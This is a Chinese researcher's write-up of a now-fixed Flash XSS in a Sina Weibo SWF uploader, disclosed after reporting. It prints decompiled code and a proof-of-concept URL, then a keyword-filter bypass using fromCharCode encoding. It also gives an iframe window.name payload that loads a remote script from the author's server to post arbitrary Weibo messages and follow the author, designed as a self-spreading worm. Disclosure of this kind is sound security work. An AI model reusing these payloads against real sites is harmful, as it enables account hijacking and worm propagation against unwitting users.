这是我之前提交到新浪应急响应中心的漏洞,因为我看到新浪已经修复了,所以发出来。
最近一直在研究一些flash,希望能发现点什么。
偶然发现这样一个swf:http://vgirl.weibo.com/swf/BlogUp.swf (已修复),一般上传swf、播放器这种地方容易出现xss,这个BlogUp.swf就是上传的flash。
反编译看看,其中有个函数:
private function init(Number:flash.events::Event = null) { // debugfile: F:\flash\blogUp_Vgirl\src;;xblogUploadImage.as stage.scaleMode = StageScaleMode.NO_SCALE; this.bIsUploading = false; this.tList = new Array(); removeEventListener(Event.ADDED_TO_STAGE, this.init); var loc0:* = new Sprite(); lineStyle(); beginFill(0, 0); drawRect(0, 0, 1000, 1000); loc0.buttonMode = true; loc0.addEventListener(MouseEvent.CLICK, this.onClicked); this.addChild(loc0); var loc2:* = 0; loc0.y = 0; loc0.x = undefined; this.jsonselectfiles = stage.loaderInfo.parameters["onselectfiles"] + ""; this.jsonsinglecomplete = stage.loaderInfo.parameters["onsinglecomplete"] + ""; this.jsonallcomplete = stage.loaderInfo.parameters["onallcomplete"] + ""; this.jsonerror = stage.loaderInfo.parameters["onerror"] + ""; this.onUploadStart = stage.loaderInfo.parameters["onUploadStart"] + ""; var loc1:* = stage.loaderInfo.parameters["onflashready"] + ""; ExternalInterface.addCallback("setup", this.setup); ExternalInterface.addCallback("cancel", this.closeUploader); ExternalInterface.addCallback("setMaxSize", this.setMaxSize); ExternalInterface.call(loc1); return; }
ExternalInterface.call(loc1);
这句话很明显存在一个XSS,loc1是之前获取的GET参数stage.loaderInfo.parameters["onflashready"]
。
我们试试:
弹了。其实前面几个参数也是存在XSS的,但这个xss最明显,我就不说前几个了。
如果ExternalInterface.call函数的第一个参数可控的话,我们最好把POC写成这样:http://vgirl.weibo.com/swf/BlogUp.swf?onflashready=(function(){alert(1)})
,因为他和后面的参数组成了一个执行的代码:
(function(){alert(1)})(param1, param2, ...)
因为我们这里这个漏洞没参数,所以最终执行的javascript实际上是(function(){alert(1)})(),我们将alert(1)换成自己的payload就能干想干的事了。
然后我想提交,来到sina src看到个公告:
我擦嘞!XSS漏洞都降级了,原因只是因为cookie加了httponly?
我掐指一算,如果就这样交的话,顶多拿2个金币啊!!
挖了半天就换这点金币,不行,那么我们想想怎么让我的XSS发挥点作用吧,否则憋屈得很。来个蠕虫吧。
我关注到vgirl.weibo.com这个站首页是个评分的flash,大概是给MM们评分并分享的。
有些妹纸还是挺不错的,我喜欢。来分析一下这个flash吧:
这里有5个API很闪眼睛。分析了一下,实际上第一个是获得妹纸列表的,第二个是给妹纸打分的,第三个是分享到微博的,第四个是获得具体妹纸信息的,第五个是关注这个妹纸的。
很明显,第三个和第五个是我想要的(为毛不是第一个和第四个?)。我可以利用这俩API和之前的XSS,来让浏览的用户发表任意微博并关注我,造成一个微博蠕虫。
那么继续分析一下API怎么使用(实际上比看flash代码更简单的方式是抓包,抓包大家都会我就不演示了):
private function atShe(arg0:*) { var loc0:* = new URLVariables(); loc0.text = arg0.content; loc0.uid = arg0.oid; loc0.img = arg0.picurl; var loc1:* = new URLRequest(this.atApi); loc1.method = URLRequestMethod.POST; loc1.data = new URLVariables(); var loc2:* = new URLLoader(); load(loc1); return; }
这是发表微博的函数,实际上就是发送了一个POST数据包,text是要发表的内容,img是妹纸图片,uid是妹纸的用户ID。
实际上,text可以写任意文字,img可以是任意图片(属于新浪sinaimg.cn的图片,随便找个图片上传接口传一个即可),uid可以不用填写。
如上图,这样一个数据包即可发表一个微博:
好,有了这个接口,我们就可以来制作一个蠕虫了。
首先写一个payload,我用了parsec团队的兔子君写的一个javascript辅助工具love.js(https://github.com/quininer/hisoka/blob/master/doc/LoveJS.md && https://quininer.github.io/tests/love.js)来进行数据包的发送。
然后传到自己的服务器上:
http://mhz.pw/game/vgirl/poc.js
首先要清楚这一点,新浪整体对CSRF的防御基本是靠Referer来进行的,所以不管在哪发微博,都会检查referer是否来自合法的域。所以我们这个脚本运行在其他地方是不管用的,但因为我们之前找到了一个flash xss,这个flash是处于新浪vgirl域下的,合法合理。
所以,我们现在的工作就是让这个flash加载我的js文件。
最早想到这样一个payload:
http://vgirl.weibo.com/swf/BlogUp.swf?onflashready=(function(){document.body.appendChild(document.createElement("script")).src="http://mhz.pw/game/vgirl/poc.js"})
不过运行你会发现,referer是这个的话微博是发送不成功的,我目测是被WAF拦截了还是怎样。
测试了一下,拦截的是appendChild,这个关键字。
我想那简单啊,把payload换成
eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,41,46,115,114,99,61,34,104,116,116,112,58,47,47,109,104,122,46,112,119,47,103,97,109,101,47,118,103,105,114,108,47,118,103,105,114,108,46,106,115,34))
就没关键字了。结果执行发现,URL太长了,flash加载不上。
再想想,如何把URL变短,还要没有关键字?当然是用window.name咯:
<iframe src="http://vgirl.weibo.com/swf/BlogUp.swf?onflashready=(function(){setTimeout(window.name,0)})" name="document.body.appendChild(document.createElement('script')).src='http://mhz.pw/game/vgirl/poc.js'" id="vg">
把EXP放在iframe的name里,然后实际的payload就是setTimeout(window.name,0),执行了window.name等于执行了我的EXP。
将代码美化一下,传到服务器上。
访问即可发布类似这样的微博:
如果换成吸引人的文字和图片,这样,我的粉丝看了以后,多半是会点进去看看。一旦访问这个链接,也会发表这样一个微博。
这样一传十十传百。
形成一个XSS蠕虫,危害很大。同样,我还可以发送一个关注我的数据包,在蠕动的同时,也能无限涨粉。
碍于法律的限制,我就不做测试了。关于新浪微博蠕虫,我曾经是有测试过的:http://wooyun.org/bugs/wooyun-2010-065761,在这里可以看到效果图,和厂商回复。
测试有风险,蠕动需谨慎啊……